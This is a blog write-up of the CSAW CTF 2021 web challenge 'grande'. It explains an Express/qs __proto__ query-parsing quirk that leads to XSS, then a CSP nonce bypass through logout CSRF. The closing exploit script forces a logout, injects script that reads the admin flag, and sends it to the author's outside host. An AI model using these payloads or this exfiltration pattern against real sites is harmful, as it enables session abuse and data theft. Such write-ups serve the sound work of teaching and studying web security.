robertchen.cc twitter
I recently played CSAW CTF 2021 with PPP. I worked with Anish on a cool challenge, grande, by @itszn13. This was an Express node application which exposed some interesting behavior about Express’s query parsing.
There were two steps in the challenge.
The first was a XSS. This required creating an array-like object for which Array.isArray(obj) === false
, which can be done with ?next[__proto__]=first&next[__proto__]=second
.
The second was a CSP bypass. In summary, the nonce got set to undefined
when the nonce
cookie is unset but the user session was not null. We could then abuse logout CSRF to force this condition, due to the SameSite
properties of the cookies.
The first immediate thing I noted was the almost-XSS in the redirect handler.
// slightly condensed version
express.response.redirect = function(url) {
if (Array.isArray(url)) return this.status(400).end();
let relative_url = url;
if (url.indexOf(base_url) === 0) relative_url = url.slice(base_url.length);
this.set('Location',relative_url);
this.statusCode = 302;
this.send(`<title>Redirecting...</title>
<p><a href="${url}">Click here if not redirected...</a></p>`);
}
// ...
app.get('/next', (req, res) => {
res.redirect(req.query.next || '/');
});
Specifically, the ${url}
is the req.query.next
object which is an attacker supplied query paramter – subject to whatever parsing constraints Express imposes.
The Location
header injection seemed very similar to the CRLF attack I found previously against GitHub. Thus, I was reasonably confident that in order for Chrome to render the 302 redirect body, the Location
header needs to be empty or unset. Also, Express doesn’t allow CRLF injection – it maintains an allow-list of header values. Thus, we probably need a different approach from just Location
header injection.
Intuitively, many parts of the code seemed suspicious. Why was .slice
used instead of .substring
? Probably because .slice
works for both strings and arrays… But then why is there an Array.isArray
check? Note that if we could remove this check, an array like
[ base_url, '"><script>alert()</script>']
would allow us to get XSS.
This array would satisfy the .includes
check, and then .slice
would cause relative_url == []
. The location header would not be set, and Chrome will render the body.
The question is: how do we get such an object?
The heart of this challenge is the __proto__
parsing quirk. I think there are two main observations required. The first is that creating an object like
const obj = {
"__proto__": [ 1, 2, 3 ]
}
is an array-like object but is not Array.isArray
> obj.includes
[Function: includes]
> obj.slice
[Function: slice]
> obj[0]
1
> Array.isArray(obj)
false
The second observation requires digging into Express query parsing.
After looking at the Express documentation, we found that Express uses the qs
library to parse query strings. One cool trick is that you can actually just directly edit the files under node_modules
. We can confirm the documentation by adding a console.log
into node_modules/qs/lib/parse.js
module.exports = function (str, opts) {
console.log(str, opts);
var options = normalizeParseOptions(opts);
After visiting an endpoint like /next?next[]=test&&&zzzz
, we can confirm that indeed, our query string is logged. In particular, the query string is passed exactly as in, so we can be reasonably confident that all the parsing logic happens here.
next[]=test&&&zzzz { allowPrototypes: true }
One interesting thing to note is Express’s default of passing allowPrototypes=true
. Looking at the README.md
for qs
, we come across an interesting warning.
By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use
plainObjects
as mentioned above, or setallowPrototypes
totrue
which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.
Interesting, so it turns out Express explicitly allows assignment to special properties of objects. Normally, next[a]=1&next[a]=2
would parse into
{
"next": {
"a": [1, 2]
}
}
What happens if we replace a
with __proto__
? Turns out, it’s exactly equivalent to
{
"next": {
"__proto__": [1, 2]
}
}
This is exactly the primitive we need! We can use something like /next?next[__proto__]=https://grande-blog.site&next[__proto__]="><script>alert()</script>
to trigger XSS. Indeed, when trying this payload we get a CSP error indicating the browser attempted to execute our script.
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'nonce-186481b00e4949e5e51af1380a4e68f9fe7057eaaa1892897702a6d228d50463'". Either the 'unsafe-inline' keyword, a hash ('sha256-S8S/VNmXuUuoIR6OhqBqwIiIkuCxXq31hCCHAHnicV8='), or a nonce ('nonce-...') is required to enable inline execution.
Now to bypass CSP…
The first observation is that app.generate_nonce
will return undefined
when the user has a not-null session. This behavior is a bit weird, considering generate_nonce
returns the actual nonce otherwise.
app.generate_nonce = async function(req, res) {
if (req.session?.user) return;
The second observation is that the CSP middleware will assign the session nonce to app.generate_nonce
if req.cookies.nonce === undefined
.
// CSP middleware
app.use(async function (req, res, next) {
let nonce = req.cookies.nonce;
if (!nonce)
nonce = await app.generate_nonce(req, res)
We can easily confirm this with Chrome’s developer tools by deleting the nonce
cookie and checking the response headers.
Content-Security-Policy: default-src 'none';script-src 'nonce-undefined';style-src 'nonce-undefined';connect-src *;img-src *;
Thus, if we could somehow unset the nonce
cookie while still keeping the user logged in, we could force the nonce to undefined
and bypass any protections with <script nonce=undefined>
.
An understanding of how SameSite
cookies work comes into handy here. The session cookie is set with sameSite=lax
while the nonce cookie is set with sameSite=none
. Thus, only the nonce cookie will be passed by the browser when using any of the site’s endpoints from a different origin.
Thus, only the nonce cookie would be set in req.cookies
. This means that the logout endpoint will only unset the nonce cookie.
app.get('/logout', (req, res) => {
for (let c in req.cookies) {
res.clearCookie(c);
// Make sure this works in all cases
res.clearCookie(c, {
sameSite:'None', secure:true
});
}
res.redirect(req.query.next || '/');
});
From here, we can easily set nonce=undefined
on our scripts to bypass the CSP.
<script nonce=undefined>
alert(location.origin);
</script>
fetch("https://grande-blog.site/logout?next=https://google.com", { mode: "no-cors", credentials: "include" }).then(() => {
location = "https://grande-blog.site/next?next[__proto__]=https://grande-blog.site&next[__proto__]=%22%3E%3Cscript%20nonce=undefined%3E" + encodeURIComponent(`fetch("/admin/my_favorite_flag").then(a => a.text()).then(a => {
const val = a.indexOf("flag{");
a = a.slice(val - 10, val + 50);
location = ("http://robertchen.cc/xxx" + btoa(a))
});`) + "%3C/script%3E";
});